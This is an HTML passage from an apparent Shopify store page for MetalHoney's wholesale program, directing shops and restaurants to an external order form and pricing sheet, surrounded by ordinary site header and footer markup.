<form action="../search" method="get" class="search-header search" role="search">
  <input class="search-header__input search__input" type="search" name="q" placeholder="Search" aria-label="Search">
  <button class="search-header__submit search__submit btn--link site-header__icon" type="submit">
    <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-search" viewbox="0 0 37 40"><path d="M35.6 36l-9.8-9.8c4.1-5.4 3.6-13.2-1.3-18.1-5.4-5.4-14.2-5.4-19.7 0-5.4 5.4-5.4 14.2 0 19.7 2.6 2.6 6.1 4.1 9.8 4.1 3 0 5.9-1 8.3-2.8l9.8 9.8c.4.4.9.6 1.4.6s1-.2 1.4-.6c.9-.9.9-2.1.1-2.9zm-20.9-8.2c-2.6 0-5.1-1-7-2.9-3.9-3.9-3.9-10.1 0-14C9.6 9 12.2 8 14.7 8s5.1 1 7 2.9c3.9 3.9 3.9 10.1 0 14-1.9 1.9-4.4 2.9-7 2.9z"/></svg>
    <span class="icon__fallback-text">Submit</span>
  </button>
</form>
          </div>
          <button type="button" class="btn--link site-header__icon site-header__search-toggle js-drawer-open-top">
            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-search" viewbox="0 0 37 40"><path d="M35.6 36l-9.8-9.8c4.1-5.4 3.6-13.2-1.3-18.1-5.4-5.4-14.2-5.4-19.7 0-5.4 5.4-5.4 14.2 0 19.7 2.6 2.6 6.1 4.1 9.8 4.1 3 0 5.9-1 8.3-2.8l9.8 9.8c.4.4.9.6 1.4.6s1-.2 1.4-.6c.9-.9.9-2.1.1-2.9zm-20.9-8.2c-2.6 0-5.1-1-7-2.9-3.9-3.9-3.9-10.1 0-14C9.6 9 12.2 8 14.7 8s5.1 1 7 2.9c3.9 3.9 3.9 10.1 0 14-1.9 1.9-4.4 2.9-7 2.9z"/></svg>
            <span class="icon__fallback-text">Search</span>
          </button>
              <a href="../account/login" class="site-header__icon site-header__account">
                <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-login" viewbox="0 0 28.33 37.68"><path d="M14.17 14.9a7.45 7.45 0 1 0-7.5-7.45 7.46 7.46 0 0 0 7.5 7.45zm0-10.91a3.45 3.45 0 1 1-3.5 3.46A3.46 3.46 0 0 1 14.17 4zM14.17 16.47A14.18 14.18 0 0 0 0 30.68c0 1.41.66 4 5.11 5.66a27.17 27.17 0 0 0 9.06 1.34c6.54 0 14.17-1.84 14.17-7a14.18 14.18 0 0 0-14.17-14.21zm0 17.21c-6.3 0-10.17-1.77-10.17-3a10.17 10.17 0 1 1 20.33 0c.01 1.23-3.86 3-10.16 3z"/></svg>
                <span class="icon__fallback-text">Log in</span>
              </a>
          <a href="../cart" class="site-header__icon site-header__cart">
            <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-cart" viewbox="0 0 37 40"><path d="M36.5 34.8L33.3 8h-5.9C26.7 3.9 23 .8 18.5.8S10.3 3.9 9.6 8H3.7L.5 34.8c-.2 1.5.4 2.4.9 3 .5.5 1.4 1.2 3.1 1.2h28c1.3 0 2.4-.4 3.1-1.3.7-.7 1-1.8.9-2.9zm-18-30c2.2 0 4.1 1.4 4.7 3.2h-9.5c.7-1.9 2.6-3.2 4.8-3.2zM4.5 35l2.8-23h2.2v3c0 1.1.9 2 2 2s2-.9 2-2v-3h10v3c0 1.1.9 2 2 2s2-.9 2-2v-3h2.2l2.8 23h-28z"/></svg>
            <span class="icon__fallback-text">Cart</span>
            <div id="CartCount" class="site-header__cart-count hide" data-cart-count-bubble>
              <span data-cart-count>0</span>
              <span class="icon__fallback-text medium-up--hide">items</span>
            </div>
          </a>
            <button type="button" class="btn--link site-header__icon site-header__menu js-mobile-nav-toggle mobile-nav--open" aria-controls="MobileNav" aria-expanded="false" aria-label="Menu">
              <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-hamburger" viewbox="0 0 37 40"><path d="M33.5 25h-30c-1.1 0-2-.9-2-2s.9-2 2-2h30c1.1 0 2 .9 2 2s-.9 2-2 2zm0-11.5h-30c-1.1 0-2-.9-2-2s.9-2 2-2h30c1.1 0 2 .9 2 2s-.9 2-2 2zm0 23h-30c-1.1 0-2-.9-2-2s.9-2 2-2h30c1.1 0 2 .9 2 2s-.9 2-2 2z"/></svg>
              <svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-close" viewbox="0 0 40 40"><path d="M23.868 20.015L39.117 4.78c1.11-1.108 1.11-2.77 0-3.877-1.109-1.108-2.773-1.108-3.882 0L19.986 16.137 4.737.904C3.628-.204 1.965-.204.856.904c-1.11 1.108-1.11 2.77 0 3.877l15.249 15.234L.855 35.248c-1.108 1.108-1.108 2.77 0 3.877.555.554 1.248.831 1.942.831s1.386-.277 1.94-.83l15.25-15.234 15.248 15.233c.555.554 1.248.831 1.941.831s1.387-.277 1.941-.83c1.11-1.109 1.11-2.77 0-3.878L23.868 20.015z" class="layer"/></svg>
            </button>
        </div>
      </div>
    </div>
    <nav class="mobile-nav-wrapper medium-up--hide" role="navigation">
      <ul id="MobileNav" class="mobile-nav">
<li class="mobile-nav__item border-bottom">
              <a href="/" class="mobile-nav__link">
                <span class="mobile-nav__label">Home</span>
              </a>
          </li>
<li class="mobile-nav__item border-bottom">
              <a href="../collections/all" class="mobile-nav__link">
                <span class="mobile-nav__label">Shop</span>
              </a>
          </li>
<li class="mobile-nav__item border-bottom">
              <a href="../pages/metal-honey-wholesale" class="mobile-nav__link mobile-nav__link--active" aria-current="page">
                <span class="mobile-nav__label">Wholesale</span>
              </a>
          </li>
<li class="mobile-nav__item">
              <a href="../blogs/recipes" class="mobile-nav__link">
                <span class="mobile-nav__label">Recipes</span>
              </a>
          </li>
      </ul>
    </nav>
  </header>
</div>
<script type="application/ld+json">
{
  "@context": "http://schema.org",
  "@type": "Organization",
  "name": "MetalHoney",
    "logo": "https:\/\/cdn.shopify.com\/s\/files\/1\/0296\/9485\/3260\/files\/MH_logo_deepgreen_e991471f-da5e-456e-94c0-15be914065ba_1640x.png?v=1647238862",
  "sameAs": [
    "",
    "https:\/\/www.facebook.com\/MetalHoneyFoods",
    "",
    "http:\/\/instagram.com\/metalhoneyfoods",
    "",
    "",
    "",
    ""
  ],
  "url": "https:\/\/metalhoney.com\/pages\/metal-honey-wholesale"
}
</script>
</div>
  <div class="page-container" id="PageContainer">
    <main class="main-content js-focus-hidden" id="MainContent" role="main" tabindex="-1">
      <div class="page-width">
  <div class="grid">
    <div class="grid__item medium-up--five-sixths medium-up--push-one-twelfth">
      <div class="section-header text-center">
        <h1>METAL HONEY WHOLESALE</h1>
      </div>
      <div class="rte">
        Need Metal Honey products for your shop or restaurant? <br><br><a href="https://forms.gle/m4ACg9kD8dbPrEiy9" title="Metal Honey Foods order form">Click here to go straight to the order form and see the pricing sheet! </a>
      </div>
    </div>
  </div>
</div>
    </main>
    <div id="shopify-section-footer" class="shopify-section">
<style>
  .site-footer__hr {
    border-bottom: 1px solid #f16416;
  }
  .site-footer p,
  .site-footer__linklist-item a,
  .site-footer__rte a,
  .site-footer h4,
  .site-footer small,
  .site-footer__copyright-content a,
  .site-footer__newsletter-error {
    color: #3d4246;
  }
  .site-footer {
    color: #3d4246;
    background-color: #f48446;
  }
  .site-footer__rte a {
    border-bottom: 1px solid #3d4246;
  }
  .site-footer__rte a:hover,
  .site-footer__linklist-item a:hover,
  .site-footer__copyright-content a:hover {
    color: #61696f;
    border-bottom: 1px solid #61696f;
  }
</style>
<footer class="site-footer" role="contentinfo">
  <div class="page-width">
    <div class="site-footer__content"><div class="site-footer__item
                    site-footer__item--one-quarter
                    ">
          <div class="site-footer__item-inner site-footer__item-inner--link_list"><p class="h4">follow us</p><ul class="site-footer__linklist
                            "><li class="site-footer__linklist-item">
                        <a href="https://www.instagram.com/metalhoneyfinejewelry/">
                          Instagram
                        </a>
                      </li><li class="site-footer__linklist-item">
                        <a href="http://www.longislandprogrammingpros.com">
                          Do not sell my personal information
                        </a>
                      </li></ul></div>
        </div><div class="site-footer__item
                    site-footer__item--one-quarter
                    ">
          <div class="site-footer__item-inner site-footer__item-inner--text"><p class="h4">metalhoney</p><div class="site-footer__rte
                              ">
                      <p>handmade with extra sweetness</p>
                  </div></div>
        </div><div class="site-footer__item
                    site-footer__item--one-quarter
                    site-footer-newsletter__one-half">
          <div class="site-footer__item-inner site-footer__item-inner--newsletter"><p class="h4">Subscribe for sales, recipes, and updates</p><div class="site-footer__newsletter
                          "><form method="post" action="../contact#ContactFooter" id="ContactFooter" accept-charset="UTF-8" class="contact-form" novalidate="novalidate"><input type="hidden" name="form_type" value="customer"/><input type="hidden" name="utf8" value="✓"/>
<input type="hidden" name="contact[tags]" value="newsletter">
                    <div class="input-group ">
                      <input type="email" name="contact[email]" id="ContactFooter-email" class="input-group__field newsletter__input" value="" placeholder="Email address" aria-label="Email address" aria-required="true" required autocorrect="off" autocapitalize="off">
                      <span class="input-group__btn">
                        <button type="submit" class="btn newsletter__submit" name="commit" id="Subscribe">
                          <span class="newsletter__submit-text--large">Subscribe</span>
                        </button>
                      </span>
                    </div>
                  </form>
                </div></div>
        </div></div>
  </div>
  <hr class="site-footer__hr"><div class="page-width">
    <div class="grid grid--no-gutters small--text-center">
      <div class="grid__item one-half small--one-whole"><ul class="list--inline site-footer__social-icons social-icons site-footer__icon-list"><li>
                  <a class="social-icons__link" href="https://www.facebook.com/MetalHoneyFoods" aria-describedby="a11y-external-message"><svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-facebook" viewbox="0 0 20 20"><path fill="#444" d="M18.05.811q.439 0 .744.305t.305.744v16.637q0 .439-.305.744t-.744.305h-4.732v-7.221h2.415l.342-2.854h-2.757v-1.83q0-.659.293-1t1.073-.342h1.488V3.762q-.976-.098-2.171-.098-1.634 0-2.635.964t-1 2.72V9.47H7.951v2.854h2.415v7.221H1.413q-.439 0-.744-.305t-.305-.744V1.859q0-.439.305-.744T1.413.81H18.05z"/></svg><span class="icon__fallback-text">Facebook</span>
                  </a>
                </li><li>
                  <a class="social-icons__link" href="http://instagram.com/metalhoneyfoods" aria-describedby="a11y-external-message"><svg aria-hidden="true" focusable="false" role="presentation" class="icon icon-instagram" viewbox="0 0 512 512"><path d="M256 49.5c67.3 0 75.2.3 101.8 1.5 24.6 1.1 37.9 5.2 46.8 8.7 11.8 4.6 20.2 10 29 18.8s14.3 17.2 18.8 29c3.4 8.9 7.6 22.2 8.7 46.8 1.2 26.6 1.5 34.5 1.5 101.8s-.3 75.2-1.5 101.8c-1.1 24.6-5.2 37.9-8.7 46.8-4.6 11.8-10 20.2-18.8 29s-17.2 14.3-29 18.8c-8.9 3.4-22.2 7.6-46.8 8.7-26.6 1.2-34.5 1.5-101.8 1.5s-75.2-.3-101.8-1.5c-24.6-1.1-37.9-5.2-46.8-8.7-11.8-4.6-20.2-10-29-18.8s-14.3-17.2-18.8-29c-3.4-8.9-7.6-22.2-8.7-46.8-1.2-26.6-1.5-34.5-1.5-101.8s.3-75.2 1.5-101.8c1.1-24.6 5.2-37.9 8.7-46.8 4.6-11.8 10-20.2 18.8-29s17.2-14.3 29-18.8c8.9-3.4 22.2-7.6 46.8-8.7 26.6-1.3 34.5-1.5 101.8-1.5m0-45.4c-68.4 0-77 .3-103.9 1.5C125.3 6.8 107 11.1 91 17.3c-16.6 6.4-30.6 15.1-44.6 29.1-14 14-22.6 28.1-29.1 44.6-6.2 16-10.5 34.3-11.7 61.2C4.4 179 4.1 187.6 4.1 256s.3 77 1.5 103.9c1.2 26.8 5.5 45.1 11.7 61.2 6.4 16.6 15.1 30.6 29.1 44.6 14 14 28.1 22.6 44.6 29.1 16 6.2 34.3 10.5 61.2 11.7 26.9 1.2 35.4 1.5 103.9 1.5s77-.3 103.9-1.5c26.8-1.2 45.1-5.5 61.2-11.7 16.6-6.4 30.6-15.1 44.6-29.1 14-14 22.6-28.1 29.1-44.6 6.2-16 10.5-34.3 11.7-61.2 1.2-26.9 1.5-35.4 1.5-103.9s-.3-77-1.5-103.9c-1.2-26.8-5.5-45.1-11.7-61.2-6.4-16.6-15.1-30.6-29.1-44.6-14-14-28.1-22.6-44.6-29.1-16-6.2-34.3-10.5-61.2-11.7-27-1.1-35.6-1.4-104-1.4z"/><path d="M256 126.6c-71.4 0-129.4 57.9-129.4 129.4s58 129.4 129.4 129.4 129.4-58 129.4-129.4-58-129.4-129.4-129.4zm0 213.4c-46.4 0-84-37.6-84-84s37.6-84 84-84 84 37.6 84 84-37.6 84-84 84z"/><circle cx="390.5" cy="121.5" r="30.2"/></svg><span class="icon__fallback-text">Instagram</span>
                  </a>
                </li></ul></div>
      <div class="grid__item one-half small--one-whole">
          <div class="grid__item site-footer__payment-icons">
              <span class="visually-hidden">Payment methods</span>
              <ul class="payment-icons list--inline site-footer__icon-list">
                  <li class="payment-icon">
                    <svg class="icon icon--full-color" xmlns="http://www.w3.org/2000/svg" role="img" viewbox="0 0 38 24" width="38" height="24" aria-labelledby="pi-american_express"><title id="pi-american_express">American Express</title><g fill="none"><path fill="#000" d="M35,0 L3,0 C1.3,0 0,1.3 0,3 L0,21 C0,22.7 1.4,24 3,24 L35,24 C36.7,24 38,22.7 38,21 L38,3 C38,1.3 36.6,0 35,0 Z" opacity=".07"/><path fill="#006FCF" d="M35,1 C36.1,1 37,1.9 37,3 L37,21 C37,22.1 36.1,23 35,23 L3,23 C1.9,23 1,22.1 1,21 L1,3 C1,1.9 1.9,1 3,1 L35,1"/><path fill="#FFF" d="M8.971,10.268 L9.745,12.144 L8.203,12.144 L8.971,10.268 Z M25.046,10.346 L22.069,10.346 L22.069,11.173 L24.998,11.173 L24.998,12.412 L22.075,12.412 L22.075,13.334 L25.052,13.334 L25.052,14.073 L27.129,11.828 L25.052,9.488 L25.046,10.346 L25.046,10.346 Z M10.983,8.006 L14.978,8.006 L15.865,9.941 L16.687,8 L27.057,8 L28.135,9.19 L29.25,8 L34.013,8 L30.494,11.852 L33.977,15.68 L29.143,15.68 L28.065,14.49 L26.94,15.68 L10.03,15.68 L9.536,14.49 L8.406,14.49 L7.911,15.68 L4,15.68 L7.286,8 L10.716,8 L10.983,8.006 Z M19.646,9.084 L17.407,9.084 L15.907,12.62 L14.282,9.084 L12.06,9.084 L12.06,13.894 L10,9.084 L8.007,9.084 L5.625,14.596 L7.18,14.596 L7.674,13.406 L10.27,13.406 L10.764,14.596 L13.484,14.596 L13.484,10.661 L15.235,14.602 L16.425,14.602 L18.165,10.673 L18.165,14.603 L19.623,14.603 L19.647,9.083 L19.646,9.084 Z M28.986,11.852 L31.517,9.084 L29.695,9.084 L28.094,10.81 L26.546,9.084 L20.652,9.084 L20.652,14.602 L26.462,14.602 L28.076,12.864 L29.624,14.602 L31.499,14.602 L28.987,11.852 L28.986,11.852 Z"/></g></svg>
                  </li>
                  <li class="payment-icon">
                    <svg class="icon icon--full-color" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" x="0" y="0" width="38" height="24" viewbox="0 0 165.521 105.965" xml:space="preserve" aria-labelledby="pi-apple_pay"><title id="pi-apple_pay">Apple Pay</title><path fill="#000" d="M150.698 0H14.823c-.566 0-1.133 0-1.698.003-.477.004-.953.009-1.43.022-1.039.028-2.087.09-3.113.274a10.51 10.51 0 0 0-2.958.975 9.932 9.932 0 0 0-4.35 4.35 10.463 10.463 0 0 0-.975 2.96C.113 9.611.052 10.658.024 11.696a70.22 70.22 0 0 0-.022 1.43C0 13.69 0 14.256 0 14.823v76.318c0 .567 0 1.132.002 1.699.003.476.009.953.022 1.43.028 1.036.09 2.084.275 3.11a10.46 10.46 0 0 0 .974 2.96 9.897 9.897 0 0 0 1.83 2.52 9.874 9.874 0 0 0 2.52 1.83c.947.483 1.917.79 2.96.977 1.025.183 2.073.245 3.112.273.477.011.953.017 1.43.02.565.004 1.132.004 1.698.004h135.875c.565 0 1.132 0 1.697-.004.476-.002.952-.009 1.431-.02 1.037-.028 2.085-.09 3.113-.273a10.478 10.478 0 0 0 2.958-.977 9.955 9.955 0 0 0 4.35-4.35c.483-.947.789-1.917.974-2.96.186-1.026.246-2.074.274-3.11.013-.477.02-.954.022-1.43.004-.567.004-1.132.004-1.699V14.824c0-.567 0-1.133-.004-1.699a63.067 63.067 0 0 0-.022-1.429c-.028-1.038-.088-2.085-.274-3.112a10.4 10.4 0 0 0-.974-2.96 9.94 9.94 0 0 0-4.35-4.35A10.52 10.52 0 0 0 156.939.3c-1.028-.185-2.076-.246-3.113-.274a71.417 71.417 0 0 0-1.431-.022C151.83 0 151.263 0 150.698 0z"/><path fill="#FFF" d="M150.698 3.532l1.672.003c.452.003.905.008 1.36.02.793.022 1.719.065 2.583.22.75.135 1.38.34 1.984.648a6.392 6.392 0 0 1 2.804 2.807c.306.6.51 1.226.645 1.983.154.854.197 1.783.218 2.58.013.45.019.9.02 1.36.005.557.005 1.113.005 1.671v76.318c0 .558 0 1.114-.004 1.682-.002.45-.008.9-.02 1.35-.022.796-.065 1.725-.221 2.589a6.855 6.855 0 0 1-.645 1.975 6.397 6.397 0 0 1-2.808 2.807c-.6.306-1.228.511-1.971.645-.881.157-1.847.2-2.574.22-.457.01-.912.017-1.379.019-.555.004-1.113.004-1.669.004H14.801c-.55 0-1.1 0-1.66-.004a74.993 74.993 0 0 1-1.35-.018c-.744-.02-1.71-.064-2.584-.22a6.938 6.938 0 0 1-1.986-.65 6.337 6.337 0 0 1-1.622-1.18 6.355 6.355 0 0 1-1.178-1.623 6.935 6.935 0 0 1-.646-1.985c-.156-.863-.2-1.788-.22-2.578a66.088 66.088 0 0 1-.02-1.355l-.003-1.327V14.474l.002-1.325a66.7 66.7 0 0 1 .02-1.357c.022-.792.065-1.717.222-2.587a6.924 6.924 0 0 1 .646-1.981c.304-.598.7-1.144 1.18-1.623a6.386 6.386 0 0 1 1.624-1.18 6.96 6.96 0 0 1 1.98-.646c.865-.155 1.792-.198 2.586-.22.452-.012.905-.017 1.354-.02l1.677-.003h135.875"/><g><g><path fill="#000" d="M43.508 35.77c1.404-1.755 2.356-4.112 2.105-6.52-2.054.102-4.56 1.355-6.012 3.112-1.303 1.504-2.456 3.959-2.156 6.266 2.306.2 4.61-1.152 6.063-2.858"/><path fill="#000" d="M45.587 39.079c-3.35-.2-6.196 1.9-7.795 1.9-1.6 0-4.049-1.8-6.698-1.751-3.447.05-6.645 2-8.395 5.1-3.598 6.2-.95 15.4 2.55 20.45 1.699 2.5 3.747 5.25 6.445 5.151 2.55-.1 3.549-1.65 6.647-1.65 3.097 0 3.997 1.65 6.696 1.6 2.798-.05 4.548-2.5 6.247-5 1.95-2.85 2.747-5.6 2.797-5.75-.05-.05-5.396-2.101-5.446-8.251-.05-5.15 4.198-7.6 4.398-7.751-2.399-3.548-6.147-3.948-7.447-4.048"/></g><g><path fill="#000" d="M78.973 32.11c7.278 0 12.347 5.017 12.347 12.321 0 7.33-5.173 12.373-12.529 12.373h-8.058V69.62h-5.822V32.11h14.062zm-8.24 19.807h6.68c5.07 0 7.954-2.729 7.954-7.46 0-4.73-2.885-7.434-7.928-7.434h-6.706v14.894z"/><path fill="#000" d="M92.764 61.847c0-4.809 3.665-7.564 10.423-7.98l7.252-.442v-2.08c0-3.04-2.001-4.704-5.562-4.704-2.938 0-5.07 1.507-5.51 3.82h-5.252c.157-4.86 4.731-8.395 10.918-8.395 6.654 0 10.995 3.483 10.995 8.89v18.663h-5.38v-4.497h-.13c-1.534 2.937-4.914 4.782-8.579 4.782-5.406 0-9.175-3.222-9.175-8.057zm17.675-2.417v-2.106l-6.472.416c-3.64.234-5.536 1.585-5.536 3.95 0 2.288 1.975 3.77 5.068 3.77 3.95 0 6.94-2.522 6.94-6.03z"/><path fill="#000" d="M120.975 79.652v-4.496c.364.051 1.247.103 1.715.103 2.573 0 4.029-1.09 4.913-3.899l.52-1.663-9.852-27.293h6.082l6.863 22.146h.13l6.862-22.146h5.927l-10.216 28.67c-2.34 6.577-5.017 8.735-10.683 8.735-.442 0-1.872-.052-2.261-.157z"/></g></g></svg>
                  </li>
                  <li class="payment-icon">
                    <svg class="icon icon--full-color" viewbox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" role="img" width="38" height="24" aria-labelledby="pi-diners_club"><title id="pi-diners_club">Diners Club</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path d="M12 12v3.7c0 .3-.2.3-.5.2-1.9-.8-3-3.3-2.3-5.4.4-1.1 1.2-2 2.3-2.4.4-.2.5-.1.5.2V12zm2 0V8.3c0-.3 0-.3.3-.2 2.1.8 3.2 3.3 2.4 5.4-.4 1.1-1.2 2-2.3 2.4-.4.2-.4.1-.4-.2V12zm7.2-7H13c3.8 0 6.8 3.1 6.8 7s-3 7-6.8 7h8.2c3.8 0 6.8-3.1 6.8-7s-3-7-6.8-7z" fill="#3086C8"/></svg>
                  </li>
                  <li class="payment-icon">
                    <svg class="icon icon--full-color" viewbox="0 0 38 24" width="38" height="24" role="img" aria-labelledby="pi-discover" fill="none" xmlns="http://www.w3.org/2000/svg"><title id="pi-discover">Discover</title><path fill="#000" opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32z" fill="#fff"/><path d="M3.57 7.16H2v5.5h1.57c.83 0 1.43-.2 1.96-.63.63-.52 1-1.3 1-2.11-.01-1.63-1.22-2.76-2.96-2.76zm1.26 4.14c-.34.3-.77.44-1.47.44h-.29V8.1h.29c.69 0 1.11.12 1.47.44.37.33.59.84.59 1.37 0 .53-.22 1.06-.59 1.39zm2.19-4.14h1.07v5.5H7.02v-5.5zm3.69 2.11c-.64-.24-.83-.4-.83-.69 0-.35.34-.61.8-.61.32 0 .59.13.86.45l.56-.73c-.46-.4-1.01-.61-1.62-.61-.97 0-1.72.68-1.72 1.58 0 .76.35 1.15 1.35 1.51.42.15.63.25.74.31.21.14.32.34.32.57 0 .45-.35.78-.83.78-.51 0-.92-.26-1.17-.73l-.69.67c.49.73 1.09 1.05 1.9 1.05 1.11 0 1.9-.74 1.9-1.81.02-.89-.35-1.29-1.57-1.74zm1.92.65c0 1.62 1.27 2.87 2.9 2.87.46 0 .86-.09 1.34-.32v-1.26c-.43.43-.81.6-1.29.6-1.08 0-1.85-.78-1.85-1.9 0-1.06.79-1.89 1.8-1.89.51 0 .9.18 1.34.62V7.38c-.47-.24-.86-.34-1.32-.34-1.61 0-2.92 1.28-2.92 2.88zm12.76.94l-1.47-3.7h-1.17l2.33 5.64h.58l2.37-5.64h-1.16l-1.48 3.7zm3.13 1.8h3.04v-.93h-1.97v-1.48h1.9v-.93h-1.9V8.1h1.97v-.94h-3.04v5.5zm7.29-3.87c0-1.03-.71-1.62-1.95-1.62h-1.59v5.5h1.07v-2.21h.14l1.48 2.21h1.32l-1.73-2.32c.81-.17 1.26-.72 1.26-1.56zm-2.16.91h-.31V8.03h.33c.67 0 1.03.28 1.03.82 0 .55-.36.85-1.05.85z" fill="#231F20"/><path d="M20.16 12.86a2.931 2.931 0 100-5.862 2.931 2.931 0 000 5.862z" fill="url(#pi-paint0_linear)"/><path opacity=".65" d="M20.16 12.86a2.931 2.931 0 100-5.862 2.931 2.931 0 000 5.862z" fill="url(#pi-paint1_linear)"/><path d="M36.57 7.506c0-.1-.07-.15-.18-.15h-.16v.48h.12v-.19l.14.19h.14l-.16-.2c.06-.01.1-.06.1-.13zm-.2.07h-.02v-.13h.02c.06 0 .09.02.09.06 0 .05-.03.07-.09.07z" fill="#231F20"/><path d="M36.41 7.176c-.23 0-.42.19-.42.42 0 .23.19.42.42.42.23 0 .42-.19.42-.42 0-.23-.19-.42-.42-.42zm0 .77c-.18 0-.34-.15-.34-.35 0-.19.15-.35.34-.35.18 0 .33.16.33.35 0 .19-.15.35-.33.35z" fill="#231F20"/><path d="M37 12.984S27.09 19.873 8.976 23h26.023a2 2 0 002-1.984l.024-3.02L37 12.985z" fill="#F48120"/><defs><lineargradient id="pi-paint0_linear" x1="21.657" y1="12.275" x2="19.632" y2="9.104" gradientunits="userSpaceOnUse"><stop stop-color="#F89F20"/><stop offset=".25" stop-color="#F79A20"/><stop offset=".533" stop-color="#F68D20"/><stop offset=".62" stop-color="#F58720"/><stop offset=".723" stop-color="#F48120"/><stop offset="1" stop-color="#F37521"/></lineargradient><lineargradient id="pi-paint1_linear" x1="21.338" y1="12.232" x2="18.378" y2="6.446" gradientunits="userSpaceOnUse"><stop stop-color="#F58720"/><stop offset=".359" stop-color="#E16F27"/><stop offset=".703" stop-color="#D4602C"/><stop offset=".982" stop-color="#D05B2E"/></lineargradient></defs></svg>
                  </li>
                  <li class="payment-icon">
                    <svg class="icon icon--full-color" width="38" height="24" role="img" aria-labelledby="pi-metapay" viewbox="0 0 38 24" fill="none" xmlns="http://www.w3.org/2000/svg"><title id="pi-metapay">Meta Pay</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z" fill="#000"/><path d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32z" fill="#fff"/><path d="M4.983 12.986c0 .348.076.614.176.776a.6.6 0 00.524.3c.257 0 .491-.063.943-.688.362-.5.788-1.204 1.076-1.645l.486-.747c.337-.518.728-1.095 1.176-1.486.366-.319.76-.496 1.158-.496.667 0 1.302.386 1.788 1.111.532.794.79 1.793.79 2.825 0 .613-.12 1.064-.326 1.42-.2.345-.587.688-1.238.688v-.981c.558 0 .697-.513.697-1.1 0-.836-.195-1.764-.624-2.427-.305-.47-.7-.757-1.134-.757-.47 0-.848.354-1.274.986-.226.336-.457.745-.718 1.207l-.287.508c-.576 1.02-.722 1.254-1.01 1.637-.504.672-.935.927-1.502.927-.674 0-1.1-.291-1.363-.73C4.106 13.956 4 13.486 4 12.95l.983.035z" fill="#0081FB"/><path d="M4.775 10.18C5.225 9.486 5.875 9 6.622 9c.432 0 .861.128 1.31.494.49.4 1.013 1.06 1.665 2.146l.234.39c.565.94.886 1.424 1.074 1.652.242.293.411.38.631.38.558 0 .697-.512.697-1.099l.867-.027c0 .613-.12 1.064-.326 1.42-.2.345-.587.688-1.238.688-.405 0-.764-.088-1.16-.462-.306-.287-.663-.798-.937-1.257l-.816-1.363c-.41-.684-.785-1.194-1.003-1.425-.234-.249-.534-.549-1.014-.549-.388 0-.718.273-.994.69l-.837-.498z" fill="url(#pi-paint0_linear_1164_3)"/><path d="M6.606 9.988c-.388 0-.718.273-.994.69-.39.588-.629 1.466-.629 2.308 0 .348.076.614.176.776l-.838.552C4.106 13.956 4 13.486 4 12.95c0-.973.267-1.987.775-2.77C5.225 9.485 5.875 9 6.622 9l-.016.988z" fill="url(#pi-paint1_linear_1164_3)"/><path d="M15.01 9.191h1.138l1.933 3.498 1.934-3.498h1.112v5.747h-.928v-4.405l-1.695 3.05h-.87l-1.696-3.05v4.405h-.927V9.191zm9.023 2.143c-.665 0-1.066.5-1.162 1.12h2.258c-.046-.638-.415-1.12-1.096-1.12zm-2.081 1.474c0-1.305.843-2.254 2.097-2.254 1.234 0 1.971.937 1.971 2.323v.255h-3.148c.111.674.559 1.129 1.28 1.129.576 0 .936-.176 1.277-.497l.493.603c-.465.427-1.055.674-1.803.674-1.358 0-2.167-.99-2.167-2.233zm5.193-1.392h-.854v-.76h.854V9.402h.895v1.256h1.297v.76H28.04v1.924c0 .657.21.89.726.89.236 0 .371-.02.57-.053v.752c-.248.07-.485.102-.742.102-.966 0-1.45-.528-1.45-1.584v-2.032zm5.96.739a1.207 1.207 0 00-1.17-.788c-.766 0-1.256.543-1.256 1.428 0 .863.451 1.433 1.22 1.433.603 0 1.034-.351 1.206-.788v-1.285zM34 14.938h-.878v-.6c-.246.353-.693.703-1.417.703-1.164 0-1.941-.975-1.941-2.246 0-1.283.796-2.241 1.99-2.241.591 0 1.055.236 1.368.653v-.55H34v4.281z" fill="#000000"/><defs><lineargradient id="pi-paint0_linear_1164_3" x1="5.93" y1="12.703" x2="12.196" y2="13.019" gradientunits="userSpaceOnUse"><stop stop-color="#0064E1"/><stop offset=".4" stop-color="#0064E1"/><stop offset=".83" stop-color="#0073EE"/><stop offset="1" stop-color="#0082FB"/></lineargradient><lineargradient id="pi-paint1_linear_1164_3" x1="5.424" y1="13.399" x2="5.424" y2="11.089" gradientunits="userSpaceOnUse"><stop stop-color="#0082FB"/><stop offset="1" stop-color="#0064E0"/></lineargradient></defs></svg>
                  </li>
                  <li class="payment-icon">
